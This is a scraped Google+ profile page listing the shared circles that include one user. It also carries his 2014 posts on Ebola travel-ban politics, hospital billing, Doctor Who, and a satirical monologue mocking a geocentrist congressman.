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Trey Harris has been shared in 62 public circles

You can see here the 50 latest shared circles.
If this is your profile, you can check your dashboard to see all shared circles you have been included.

AuthorFollowersDateUsers in CircleCommentsReshares+1Links
Frank Gainsford39,299A share of this circle within the public space will be appreciated as these are truly a great flock of influential and helpful folk, and the more places their profiles are found, the better the GOOGLESPHERE will become.A circle of people who are known and trusted for their advice and help in getting things done here in the Google sphere.If you are stuck and need some advice this is the team that can help you solve your problem.  These folk are all friendly, and active within the PLUSOSPHEREAdd this circle to your profile for a bunch of friendly and helpful advice on ALL THINGS GOOGLE with a very clear and distinct flavor of Google plus as the best social media platform to use for either social or business.PS you will not be added to this circle unless I have made personal use of a tip or advice that you have offered within your personal or business profile.  this is not a free for all circle, but a curated circle of those who have helped me, either knowingly or unknowingly with their  public posts being the source of the help I used.2014-08-27 11:11:30252425
Becky Collins13,434Mobile Operator Circle:Circle of very #social #engagerspeople and companiesTo be included in my shares (#sharedcircle), be so kind to:1 - Do +1 t the post2 - Comment the post and specify your "category" (job or interest) Ex: Fashion, SEO, Companies, Social Media Marketing, Sailing, Photography, Bloggers/Writers, Web graphics and design, Italy, Artists, Sport, Finance/Economy ...3 - include the circle among your circles4 - share the circle (include yourself)Improve your popularity, be social be cool !Keep yourself updated, enjoy the Shared Circles Hellenic Alliance, you can share your shared circles inside the upcoming Community:https://plus.google.com/communities/112552559573595396104  #socialmedia  #media  #circles   #circleshare   #circlesharing  #circlecircle   #beckyscircle   #sharedcircles   #sharedpubliccircles  #sharedcircleoftheday  +Becky Collins ?2014-07-24 05:16:124763112
Becky Collins10,282Mobile Circle :Circle of very #social #engagerspeople and companiesTo be included in my shares (#sharedcircle), be so kind to:1 - Do +1 t the post2 - Comment the post and specify your "category" (job or interest) Ex: Fashion, SEO, Companies, Social Media Marketing, Sailing, Photography, Bloggers/Writers, Web graphics and design, Italy, Artists, Sport, Finance/Economy ...3 - include the circle among your circles4 - share the circle (include yourself)Improve your popularity, be social be cool !Keep yourself updated, enjoy the Shared Circles Hellenic Alliance, you can share your shared circles inside the upcoming Community:https://plus.google.com/communities/112552559573595396104  #socialmedia   #media   #circles   #circleshare   #circlesharing   #circlecircle   #beckyscircle   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday  +Becky Collins ?2014-05-28 05:03:174777219
andi steven320please add me my profile in your circle,Reshare if you like! Please plus to tell me you have seen it! *There is no need to thank me, this is me thanking you! *1. Plus The Post2. Comment3. Add People To Circles4. Share The Circle!#circlesharing #circleshare #circles #circle #googleplustips #googleplus #indonesia #artists #artist #artistphotographeramateurorprofessional2014-05-09 04:02:2150111514
Gustavo Franco1,547I've started an experiment with my Google+ account disabling this circle (Googlers and Xooglers) from showing up on my home stream. I'll see how it will look like without my coworkers and former coworkers.In case you are wondering how to adjust and even disable the posts from a circle showing up in your home stream, read:https://support.google.com/plus/answer/1269165?hl=enI've moved the circle to be the 1st on my bar though so I still can easily peak at what folks are saying.  In case you are wondering how to do that, read:https://plus.google.com/113895942978964425455/posts/igWgAhX22qM2014-02-15 23:38:47324301
Ian Archibald16,093Circle of Google PlussersSo, I often get asked Who should I circle?  I say whomever strikes your interest. Find topics of interest and connect with those people who share that interest.I would very much like to share with you "my" circle of Plussers of whom I LOVE to engage with.  There are people in science, sports, networking, technology, comics, art and medicine found inside, and likely some others as well.  I've been spending the last couple years curating this list.I hope that you will connect with some of these folks!Have a great weekend everyone!2014-02-15 01:16:53326182225
Ian Archibald14,517Google PlussersThis would be my circle of other awesome people who I have connected with over the past couple years here on Google+. Some awesome people here!As the cool kids say, These kids are dopeI don't take requests to add to this circle. To be added, engage with me, and the others here. You'll be noticed, trust me.2014-01-27 23:35:29320221729
Justin Hart6,912Justin's Circle Share....quick circle I put together of people that engage and provide content to keep your circles humming! 1. Plus The Post 2. Comment3. Add People To Circles4. Share The Circle!#sharedcircle   #topsharedcircle #circleoftheday #sharedcircle #trustinme   #circlesharing   #circleshare  #circles         #circleoftheday #sharedpubliccircles  #sharedcircles  #share   #vipsnowballcircle #sharedcircleoftheday  #sharewithyou               #followme  #followers #followback #circle #googleplus #coolpeople  #circleshare #sharedcircles #sharedcircle  #sharedcircles   #sharedpubliccircles  #circleshare #circlesharing #fullcircleshare2013-12-17 03:07:5650011923
Ben Douglas0WE LOVE TECHNOLOGY! #circleshare   #sharedcircles   #technologytrends  2013-12-16 15:10:48500101
David Leonhardt2,546I built on the Sunday Circle by +Ian Archibald to spread it even further.Recommended:1. Plus the circle.2. Leave a comment3. Save the circle as one of your own circles (Click on "Add people" to do this).4. Share the circle as I am doing now (but don't forget to "Include yourself" when sharing).5. Get offline for a while, too.  :-).#circles   #circleshare   #sharedcircle   #circlesharing#followers #social #sharedcircles   #sharedpubliccircles  #circleshared    #sharedcircleoftheday #addmetoyourcircles   #awesomepeople   #circlecount  #newfollowers   #googleplus  2013-12-16 01:30:4323211213
Ian Archibald9,118Sunday Circle Share of Google PlussersThis is my top circle filled with some of the top Google Plussers, Engagers, and Educators.  You will also find some people you likely don't know, but should.You all know people like +Mike Allton +Michael Q Todd +Christine DeGraff and +Billy Funk who bring the awesome every day. But do you know +Rusty Ferguson +Milan Pavlovic +Steven Krohn +David Oldenburg or +Brandee Sweesy ?  All of whom are simply awesome people who have a lot of great content, and engage!.Add this circle to your own today.  If you have other Engagers, add them to the circle, share it out and tag me in your share. Always looking for more engagers!I would be honoured if you would +1, Comment and Share this circle.Hope you all have a fantastic week!!2013-12-15 14:08:26229231330
Ramón Sansone López436Awsome #sharedcircle #bestengagersComment, Do +1 and share it, you'll belong to one of my best #sharedcircles 2013-09-05 06:26:23501003
Don Dobbie3,342#sharedcircles  2013-05-29 19:26:154863212
AyJay Schibig16,440ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! Circles I am curating:21ST CENTURY PHOTOGRAPHERS (1&2), ALL KINDS, DISCOVERY, FULL CIRCLE,SOCIAL, ECLECTIC,ENGAGERS, AWESOME, NEW HORIZONS and BOOST#circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou     #ShareYourCircle2013-04-13 06:43:023024213
Justin Fournier534Tech Engage CircleHello Everyone just following the footsteps of +martin shervington  and attempting to circle share fully engaged circles with you.  Below I'm sharing a circle of definite Technology posters. If your new to this platform and needed a circle for sure fire tech news and help.  *Be sure to add and re-share this circle.*  Later Guys!2013-03-10 16:15:55296516
AyJay Schibig15,217ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! Circles I am curating:21ST CENTURY PHOTOGRAPHERS (1&2), ALL KINDS, DISCOVERY, FULL CIRCLE,SOCIAL, ECLECTIC,ENGAGERS, AWESOME, NEW HORIZONS and BOOST#circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou     #ShareYourCircle2013-03-02 11:23:44245206
AyJay Schibig13,588ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! #circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou 2013-01-10 07:15:50257003
AyJay Schibig12,717ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! #circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou 2012-12-21 06:26:433277010
AyJay Schibig12,080ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! #circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou 2012-12-12 04:23:1442210216
Ivonne García423This is my Geeks CirclePeople who share great content that only matters to us, technology geeks and people interested in the latest advances. :D Enjoy! #sharedcircle   #circles   #tech   #technology   #geeks   #geekcircle   #sharedcircleoftheday  2012-12-01 17:28:23332314
Cynthia Yildirim23,029New Google+ users might not have this circle yet of Google Employees on G+, I'm  not an employee, but going to include myself in the circle anyway. :D  #sharedcircles   #Google  2012-11-09 01:27:54213201
George Station1,600With the addition of +Google Cultural Institute as Number 100 this seems an excellent time for a fresh share of my Googlish Folks Circle.(Ah, round numbers in base 10! Thank you, Dogbert.)I note for the record:  Many others also enhance and improve my Google+ experience in specific interest areas such as "teaching & learning" or "social media and education." And I enjoy several very cool Circles that other fine G+ers have shared.But when I wonder "What Would G+ Do?" (which I'll bet does not quite align with what Google Proper would do)... I generally check the undamped, unfettered Stream of this Circle.2012-10-07 00:21:32100404
Tim Moore23,874My Go To Circle when I'm using +Google+ from my mobile --- which is a lot!IF you use +Google+ from your mobile device and want GREAT CONTENT, then this is a money circle for you.  All the guys and gals in here are fantastic and post very shareable items.Created for the circle when you want to reliably find and share great content quickly from your mobile!>>> Help your friends who may be new here to +Google+ - share this circle with them.  They will love you forever......... or at least until payday. :) #greatcontent   #sharing  +Shared Circles on G+ +Public Circles +CircleCount +Nothing but Circles  #sharedcircles   #circlesharing   #circleoftheday  +Shared a circle with you +Full Circle  #mobile  2012-10-02 19:10:48484723561
Tim Moore23,086My Shared Circle of the weekGooglers who are just #awesome . _Don't stalk, just talk, they won't bite_  #sharedcircles   #Google  2012-08-29 20:23:364492010
Tim Moore22,583My +Best Shared Circle of the week.These are my top quality +Google+ sharers.  I hope you find them as rewarding as I do.2012-08-08 15:57:01445451844
Kurt Smith122Google+ Power Users Circle ShareThis G+ Power Users group includes some really good people to follow and many whom will follow you back. Make sure you've got them in a circle. #sharedcircles   #sharedpubliccircles   #publiccircles   #publiccircleshare   #circleshare   #circlessharing  2012-07-28 17:08:3749918516
Tim Moore20,643Here is my #sharedcircleoftheday , it is around those who have helped directly with +Sparkstir or have inspired us in building it over the last year. These are not e-lebrities, but real people with vision on how to use +Google+ to help reach people globally with what they know and sharing it. We applaud them. We would also like to you join us - we've left plenty of room, so add yourself and pass it on to others anywhere in the world who want to help others increase their knowledge, quality of life and overall happiness and personal joy. #Sharedcircle   #sharedpubliccircles   #Sparkstir   #circleshare   #uniting   #circlesharing   #globalchange   #globalrevolution   #educationalresources   #education   #googleplus   #googlehangout   #hangouts   #peoplearoundus   #bettertogether  2012-07-10 14:52:1189929
Jessica Garcia156I am not sure who originally shared this but I know I pulled it from +Chris Brogan. If you want to change Google+ from a ghost town to a party just follow the circle. 2012-07-07 20:23:22499429
Tim Moore19,665Hi friends,Here is my #sharedcircleoftheday  I wanted to share this circle with you of Top Google+ Sharers - They may not all be E-lebrities, but they have embraced our +Google+ community and consistently contribute great content and do engage with one another.This is a quality circle that I know could have more folks added to it , so please 1) Save this circle. 2) Add some of your favorite G+Sharers, 3) If you'd like to include yourself, check the box at the very bottom of the Share circle dialog box 'Include yourself in shared circle', *4) Share with the world.Have a wonderful Friday my friends!  #GooglePlus   #sharedcircle   #PayItForward  2012-07-06 17:13:42247228430
matthew rappaport52,599500 Active +Hangouters for you to Chat with and Get to know . . Again this is just Part I, you were not "omitted" by me, if you feel bad you didn'tmake this +Shared Circles on G+!I feel like I +mention ed all of you yesterday... still working on it..https://plus.google.com/111048918866742956374/posts/hYTZsRoWZje+Tom Samacicio for instance is in this circle and he's great.. CIRCLE UP!Ask him about CB Radios!+Pearl Lombardo is a lot of fun too.. CIRCLE HER (she calls SHENANIGANS a lot!)Happy 1st #PLUSversary  week to you all! #sharedcircles  Enjoy your FRIDAY and see some of you tomorrow with +Vivienne Gucwa leading the +The Google + One Year Anniversary Photowalk in Central Park tomorrow12012-06-29 20:33:37500414543
Alister Macintyre7,169Here by request of one of the people in it, is my main circle of people who share G+ Tips from time to time.  It includes both people who generate them, and people who use them.  Also see this other related circle. https://plus.google.com/u/0/108007903544513887227/posts/XfV7Xek2XK3  People are in one or the other or neither.  Drop me a comment if you want to be in one of these circles.2012-06-13 03:13:14184102
Arvid Bux25,492Curated circle with English profilesFor my upcoming eBook release, I have curated several circles. This one contains 219 profiles of people who post mostly in English. These people will spice up your stream with all kinds of content, being it news, photos, links, videos, you name it! Apologies when you are not in this circle. Curation is done manually and thus I can make mistakes! Feel free to leave a comment so I can add you and people might see it and add you!#sharedcircle2012-06-11 18:29:4521927911
Jaana Nyström50,117My 8 circles of Googlers!This is just the beginning...I have found out that even Google employees are not really connected on Google+... This must be remedied!For Google employeesSo after many gruelling hours of collecting people and sorting out the circles here are the results.I will start with Google 1 by Jaana and also notify all the people in the 8 circles WITH THE POST YOU'RE IN so that you may get connected if you wish.The circle in +CircleCount:  http://www.circlecount.com/sharedcircle/?id=z12wdxwjttr3xxo0u22celljpvm0wvzfsLook for the other 8 circles, they're coming up soon.EDIT:  One or two mistaken identities or job changes have come up in all the circles so far, sorry about that. #Google   #circleshare     #Jaanatip  2012-06-08 17:49:159421224
Michael Kendle299Here's a circle of tech people. The circle is bigger but only lets me share 500. If you're interested in tech, this is a good place to start.2012-06-07 13:57:05501115
Jaana Nyström49,593I've been hoarding these peeps...My Googlers CircleGoogle employeesEveryone in this circle works for Google, been collecting the guys since July last year.Well, worked at the time of me adding them, anyway...Here it is in +CircleCount:http://www.circlecount.com/sharedcircle/?id=z13uvt3okqj2cxxvc22celljpvm0wvzfsVery international...  If you have some more to add that I've missed, please comment! #circleshare   #CircleSunday  2012-06-03 13:44:1447836829
Robert Pitt21,486[CIRCLE]Thought I would share my Googlers circle, enjoy and make sure you give feedback to these guys :)2012-04-16 19:51:00222114
Jack Durst484In honor of #FollowFriday Some of my favorite #technology experts on google+2012-04-13 18:31:53648518
Alister Macintyre4,949+rahul roy Here is my main G+ circle for G+ Tips. it includes both sources of tips, and people who like to receive them. I have not posted many tips recently, but if people are struggling with something, ask, and maybe we can help.2012-02-27 23:47:31179113
Jaana Nyström27,889#circlesharing #circlesunday My Google employees CircleHave you noticed that there is another circle sharing possibility: When you look at a certain circle's stream, there is a green button on the right saying Share this circle.That's what I'm testing right now. Works like a charm.I've been collecting this circle for a long time. Googlers from all over the globe.Enjoy! :-)#G+Tip #googleplustip #Jaanatip PING +The Best Circles on Google+ +Shared Circles on G+PS: Here's a Googler circle from +Natalie Villalobos with +58 peeps different from my circle. You might like to add this, too:https://plus.google.com/u/0/109895887909967698705/posts/VrfWQrgcVmUCombining the two circles is a good idea, that's what I did. Now it's a MEGA Googlers circle, have to share that later! :-)2012-02-05 10:04:22335221021
Chris Lang19,558+Michael Q Todd Suggested I share this circle as THE G+ Power Users Circle So Here Tis, The People That Bring Me The News I Need On G+That's the people I follow every day. Some of the IM profiles like +Ryan Lee and +Ryan Deiss are not active publicly. But the are the multi millionaires that dominate my world so there are in the circle.Lot's of just plain good peeps like +John Hardy and +Jannik Lindquist that usually disagree with me but have very good viewpoints on Google and the web.2012-01-16 22:09:3637013611
Chris Hoyt1,112Circle Back to GoogleLooking for people who work at Google? Here's a great circle that's a strong addition to any search you've already performed on Google Plus and that I'd include with any other search for Googlers that you've already conducted.What's interesting to me (and that I'm getting around to pointing out) is that whether you're just looking to expand your network as a member of Google+ or actively #recruiting and #sourcing online, I believe that you'll find infinite value from the proper care and feeding of Google Plus circles. In fact, if done correctly (and maintained) it's a fantastic way to filter your Google Plus stream and check the pulse of any company, organization or interest group.In the event you missed it, I did an article back in August that mentioned my interest in Circles and how I'd be exploring the management of them. (http://www.recruiterguy.net/recruiting-management-circles) So far, I've not been disappointed in the ability to really hone in on an area of interest by filtering my streams based on these circles and simply watching the conversation flow. Of course, being able to quickly see all of the updates from a particular company or interest group is just the start. The more proficient we get with our filtering, the easier it is to get the latest from fun entrepreneurs, CEO's, diversity interest groups, active and passive jobseekers and more - these are just a few of my own circles, mind you. You have the ability to filter by profession, seniority, geography, language, etc.The possibilities are endless!I'd love to hear how you, or others, are using circles to manage the information stream you've found in G+ so far.2012-01-04 20:07:36348211
Stephanie L Davis19,590I was asked by #SMMCamp attendees to share my "Googlers" circle. These are people who work for Google; community managers, engineers, developers, free-lancers; staff... etc. Cheers!2011-12-08 20:06:303648513
Jaana Nyström13,601All Googlers CircleThis is my Googlesphere with people and Pages: Did I miss someone?Their posts are not all about Google, but about life and stuff, too! :-)Did not include myself... Oh how I wish I could! Hahhahaaa! *wink *wink2011-12-03 15:10:281711238
Louis Gray71,017It's been a little while since I shared with you my Googlers circle. This circle includes a massive number of people working on the Google+ project, company execs, and a lot of sharp people working on many of the services you use every day, including +Blogger +Android +YouTube, etc. Now that we can share 500 at a time, have at it. But this circle isn't for everyone, so if you do add them, expect geekiness ahead.2011-11-22 19:13:55500623470
Raghd Hamzeh5,495#google #PublicCirclesI think it's about time I shared this circle of Googlers.. Over 680 people in it! (only 500 can be shared at the same time)Some of them are obvious, some of them you've met, some of them post on blogs, and some you have to hunt down!You will find an interesting insight on the people who power this juggernaut :)2011-11-20 21:15:53500101
Alister Macintyre43This is my Google Workers circle which I am re-sharing with Shared Circles on G+ page. These are people who are employed by the Google company. Some of them talk about the company's products, but most are just interesting people.2011-11-14 03:10:13168131
siam simte856For those who think Google Inc. employee must be Totally Circle ; Here's your chanceWhatever and however they're awesome thoughsiam simte shared a circle with you.2011-10-29 20:18:31473000
Dan Soto8,096Since the beginning, I've been collecting "Googlers" in a circle much like +Chris Pirillo collects Legos© . Anyway, here is a circle of close to 200 people that work for Google in some fashion. I've gone through it to remove accidental additions and am 99.99% sure all of these are legit.Enjoy ....Dan Soto shared a circle with you.2011-10-20 17:45:37187605
Kris Courtney2,408A great collection of talent - Bless you ...Kris Courtney shared a circle with you.2011-10-19 16:40:43475001
David Williams51GooglersDavid Williams shared a circle with you.2011-10-16 19:56:53344104

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Top posts in the last 50 posts

Most comments: 60

2014-09-30 17:04:43 (60 comments, 1 reshares, 11 +1s)Open 

Secret Service hearing shockers: Self-important House members grandstanding, throwing brickbats; GOP doesn't understand the difference between mental illness and criminality

At first blush, it's really dumb that the House Oversight Committee is having its public hearing today with Secret Service Director Julia Pierson before it reconvenes for the classified briefing.

But it seems pretty clear, even after just the first 90 minutes, that it's not dumb; it's an opportunity for grandstanding. Rep. Jason Chaffetz (R-UT) started by mocking the Secret Service's early press release praising the "tremendous restraint" of the officers for not shooting dead an unarmed, mentally unstable veteran armed only with a knife. "Tremendous restraint is not what we're looking for," he said¹, "we want overwhelming force."

When it was... more »

Most reshares: 27

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2014-09-21 15:36:20 (13 comments, 27 reshares, 38 +1s)Open 

The insanity of surprise out-of-network providers

If you haven't dealt with this it seems fantastical, like The New York Times engaging in tabloid fodder. But this is a real issue I've spent literally hundreds of hours dealing with over the past ten years since my diagnosis. Every single time I've gone in for a procedure, I've gotten at least one unexpected out-of-network bill. Even though I know I must irritate the staff now by refusing to even answer a "Hello" from anyone in a hospital or doctor's office until they tell me if they're in-network or not. And even that doesn't matter; once an anesthesiologist responded that he didn't know if he was in network or not but said my procedure couldn't continue if he didn't install an IV; I got a $13,000 bill from him.

I'm not sure I've ever actually avoided a bill by demanding... more »

Most plusones: 73

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2014-08-23 17:31:09 (12 comments, 2 reshares, 73 +1s)Open 

Hah! I just noticed that Peter Capaldi voices Matt Smith's grunt at the one-minute mark in this scene. (Funny how you can even grunt recognizably in Scots.)

I'm optimistic about Peter Capaldi's Doctor. There's the obvious change: succeeding Matt Smith, the eleventh and youngest to play the alien time-traveller lead, Capaldi will tonight be the oldest to ever take over the Doctor Who lead role at 57 (even the first Doctor, William Hartnell, who played the character as if he were in his seventies—and looked it—was just 55). He's more than twice the age of Matt Smith when he took the part.

This is especially interesting because Matt Smith, particularly as his tenure went on, had an uncanny ability to seem older than any previous Doctor. Which in the story, of course, he was—not only was he the latest incarnation, but he was by far the longest-lived (claiming agesbetwe... more »

Latest 50 posts

2014-10-19 00:27:31 (3 comments, 0 reshares, 12 +1s)Open 

Are Ebola travel ban proponents unmoved, engaging in magical thinking, or both?

I just heard an especially apt word used to describe the reaction of many of those advocating a travel ban to hearing the objections of epidemiologists: "unmoved". If you can look at what the likely results of a travel ban would be and continue to think it's the right thing to do, the only explanation I can come up with is that you're unmoved at the plight of twenty million Africans in the affected areas. 

But even if you're being purely nationalistic—if you think it doesn't matter if every last man, woman and child in West Africa dies of Ebola, if we can keep one more case from happening here—there's also some sort of magical thinking going on in order to believe that a travel ban will have that result. 

Commercial transport would be eliminated,healt... more »

Are Ebola travel ban proponents unmoved, engaging in magical thinking, or both?

I just heard an especially apt word used to describe the reaction of many of those advocating a travel ban to hearing the objections of epidemiologists: "unmoved". If you can look at what the likely results of a travel ban would be and continue to think it's the right thing to do, the only explanation I can come up with is that you're unmoved at the plight of twenty million Africans in the affected areas. 

But even if you're being purely nationalistic—if you think it doesn't matter if every last man, woman and child in West Africa dies of Ebola, if we can keep one more case from happening here—there's also some sort of magical thinking going on in order to believe that a travel ban will have that result. 

Commercial transport would be eliminated, healthcare exemption or not—you can't legislate businesses to operate unprofitably, and the Ebola response travel and shipping isn't enough to sustain the entire transport industry of three countries. So far fewer aid workers will get in—when we desperately need to get many, many more in as quickly as possible. 

Right now the situation in West Africa is literally out of control; new cases and deaths are rising, and so is the first derivative, and so is the second derivative: if we simply resign ourselves to even maintaining the current level of aid we can expect by the end of the year more deaths per day than the total who have died thus far. And it isn't clear than under a travel ban we'd even be able to maintain the current level, not unless the United States commits to replacing all the commercial transport.

And in such a desperate situation, people will do whatever they can to get out. Some of them will manage to do so. Some of them will get to the United States. And, having arrived under a travel ban, if they start to experience symptoms, they will not do what we most need them to do then, at the most important moment in stopping Ebola's spread: go directly to a hospital and honestly admit they've been to an affected region so we can treat them, for their own sake, and isolate them, for everyone else's.

Instead, knowing that under a travel ban they can face criminal penalties and, if they aren't citizens, deportation, they will not go directly to the hospital. They'll wait to see, maybe if it's the flu—flu season has now started, and it will be easy for them to hope that. In fact, if someone just here last week from West Africa becomes ill, it's much more likely they do have the flu, not Ebola.

But if they did carry Ebola with them, under a travel ban, once symptomatic they'll hide. Family members may become exposed while they care for them, or they may check into a hotel and expose staff. This happens in Guinea, Sierra Leone, and Liberia; it's how the outbreak became so dire. People who became symptomatic did not go to the hospital, because hospital facilities were overwhelmed or because there was suspicion about whether Ebola was really what public health officials said it was. And so family members take care of them, and they in turn become sick. Nearly always, that is how Ebola spreads, through taking care of a sick person.

A quarantine doesn't work unless it's nearly perfect. You may think our borders are "porous", but the border of Guinea and Liberia with Guinea-Bissau, Senegal, Mali, and Côte d'Ivoire¹ is 2,900 km, over 92% the length of the U.S.-Mexico border, through very rough terrain and between countries that have been in recent conflict.

I'm sorry to put it this way, but if you really don't care what happens in West Africa and you just want to keep Ebola from reaching the United States—if you really are "unmoved"—why are you engaging in magical thinking about what will happen under a travel ban? Why not, instead, do the logical thing and demand we carpet-bomb those three countries, or nuke them? At least then your policy might have a chance of actually keeping Ebola from reaching the U.S.

¹ Sierra Leone is entirely surrounded by Guinea and Liberia.___

2014-10-18 18:40:08 (51 comments, 1 reshares, 7 +1s)Open 

Ebola travel bans: like an American flag pin, except more murdery?

I don't think anything said by politicians since the 2009 response to the financial crisis has consistently gotten me so emotionally agitated as this week's demands for travel bans between West Africa and the U.S. in response to Ebola.

There is near-universal agreement among scientists that a travel ban would 1) not work as designed, 2) be devastating to efforts to fight Ebola in West Africa, and 3) would make it more, not less, likely for more Ebola cases to spread here.

Yet the politicians (mostly Republicans, but distressingly starting to include more and more Democrats) advocating these positions don't seem to care. It isn't just that they don't know the rationale for the expert opinion; when challenged by reporters with the facts, they dismiss them, sometimes even acknowledge... more »

Ebola travel bans: like an American flag pin, except more murdery?

I don't think anything said by politicians since the 2009 response to the financial crisis has consistently gotten me so emotionally agitated as this week's demands for travel bans between West Africa and the U.S. in response to Ebola.

There is near-universal agreement among scientists that a travel ban would 1) not work as designed, 2) be devastating to efforts to fight Ebola in West Africa, and 3) would make it more, not less, likely for more Ebola cases to spread here.

Yet the politicians (mostly Republicans, but distressingly starting to include more and more Democrats) advocating these positions don't seem to care. It isn't just that they don't know the rationale for the expert opinion; when challenged by reporters with the facts, they dismiss them, sometimes even acknowledge them, but double down on their demands.

(There was a memorable exchange on MSNBC's "Morning Joe" yesterday morning with Rep. Dennis Ross (R-FL), who wants to introduce a bill banning direct commercial flights to the U.S. from the three affected countries, during which Eugene Robinson of The Washington Post pointed out that there aren't any direct flights from there to the U.S. "I think you're wrong..." Ross started, then was interrupted by Robinson and Jeremy Peters of The New York Times, reiterating that there are, in fact, no direct flights.

("Oh, then we don't have a problem, everybody is contained, right?" Ross replied sarcastically, to which Peters responded that people fly indirectly to the U.S., usually through Europe. Ross literally rolled his eyes. "I never said it would solve the problem, but it's a step in the right direction." Uh. Words fail me.)

I'm reminded of Texas and capital punishment. When politicians advocating reducing avenues of appeal and "streamlining" the process so that the condemned can be executed more quickly, and they've been challenged with hard data showing that making such changes would increase the likelihood of innocent people being executed, their responses were basically along the lines of, "executing the innocent may be the price we have to pay, but it's worth it."

While I find that reasoning repugnant, at least I understand it. What truly has astonished me, though, is when these pols are presented with actual cases of known innocent people facing execution—when the argument ceases to be abstract—many still maintain their position, arguing not just that some unspecified innocent people must unfortunately be executed for the greater good, but that a particular innocent person should be because of some technicality that kept evidence of their innocence from being considered by the courts.

Again, at some level this is logically consistent—if you advocate a policy knowing that it will have the result of increasing the odds of a terrible outcome, you may be willing to advocate it even in the face of such an outcome. But yet it still seems like madness.

With Ebola, politicians who are caught by reporters and forced to respond to the undeniably bad consequences of a travel ban are doing something similar—acknowledging that such policy as implemented in the real world will cause bad outcomes, but insisting that, for purely emotional political reasons, it must be done anyway.

I heard analyst Richard Wolffe this morning likening it to an insistence on candidates wearing American flag pins on their lapels. It's stupid, and everyone knows it, and a political test like that is actually contrary to what that flag supposedly stands for, but everyone still has to do it for emotional, political reasons.

The big difference here is that wearing a flag pin doesn't condemn tens of thousands, possibly millions, to die. A travel ban is a terrible idea scientifically. To continue to advocate it—because it's extremely popular politically—in the face of the science, and knowing it will only make things worse, is craven and cynical politics at its very worst.___

2014-10-17 21:38:05 (7 comments, 14 reshares, 28 +1s)Open 

Congressman, do you believe the Sun revolves around the Earth?

To answer the question, ladies and gentlemen, I'm not a scientist, so I can't tell you authoritatively whether the Earth revolves around the Sun or not... I'm told that there's controversy about that, or there's been controversy, that the mainstream media doesn't tend to report. And I think Americans, at least the ones in this district, are smart people and they can go to the websites and find out the facts for themselves and make the judgment of how this argument affects them, what's right for them and their family.

But I think it is important to call out, whatever the science says, that Barack Hussein Obama's focus has never been to put the people at home first. So of course he's going to say the Sun is the center the Earth revolves around. He just doesn't care as much about... more »

Congressman, do you believe the Sun revolves around the Earth?

To answer the question, ladies and gentlemen, I'm not a scientist, so I can't tell you authoritatively whether the Earth revolves around the Sun or not... I'm told that there's controversy about that, or there's been controversy, that the mainstream media doesn't tend to report. And I think Americans, at least the ones in this district, are smart people and they can go to the websites and find out the facts for themselves and make the judgment of how this argument affects them, what's right for them and their family.

But I think it is important to call out, whatever the science says, that Barack Hussein Obama's focus has never been to put the people at home first. So of course he's going to say the Sun is the center the Earth revolves around. He just doesn't care as much about the people back home, like the good people who put me into office, for him to seriously give any consideration to the many negative effects of a Sun-first policy.To show concern for the many people in our district, who I get letters from every day, expressing their deeply held belief in Modern Scientific Geocentrism.

Not to mention the many more who think it would be reasonable to adopt, at the very least, a bipartisan position of neutrality between the Earth and the Sun, to give time to let the argument be fought out in the local communities, in the churches, in the courts. I've co-sponsored bills in each of the previous two sessions to ask the President to do exactly that. We passed this bill in the House once before, but Harry Reid wouldn't even allow a vote in the Senate. I think the people deserve a yes-or-no vote of the Congress.

But this is really about my opponent, Mr. Smith, and the Smith-Obama economy and the Smith-Obama solar system, which I think we can all agree is on the wrong track. Not even giving a fair hearing to real Sun-first policy concerns shows the disrespect, the contempt, he holds for the people who disagree with him, like most Americans do about ISIS, about Ebola, about Obamacare and the borders.

And on that, in the time remaining I'll just add that I have confirmation from my own contacts in the U.S. Border Patrol, who say the Sun crosses the border every day, sometimes twice a day, both on our north and on the border with Mexico. And with Ebola and ISIS out there, I think the people have a right to be legitimately concerned about that and ask the question of why this president has refused to get serious about securing our borders. It's the Sun today, but it could just as easily be members of ISIS carrying Ebola into the homeland tomorrow.

We need to have the real debate about the issues that matter to the people—the Smith-Obama economy, ISIS, Ebola, repealing Obamacare—but yet both Mr. Smith and you reporters just keep coming back to my support of teaching Modern Scientific Geocentrism in schools. The people of this district think their children deserve a good education for the 21st century, and they want the public schools to provide that education, but too many of my constituents have written me letters—like this one I have here, from Della Hobsnotch of Bonaflore, who wants to do right by her six children, the youngest, two-year-old Bella, I have her picture right here, isn't she darling?—but she can't in good conscience send her children to schools that are going to undermine her values by telling them her sincerely-held beliefs in the Sun going around the Earth are wrong.

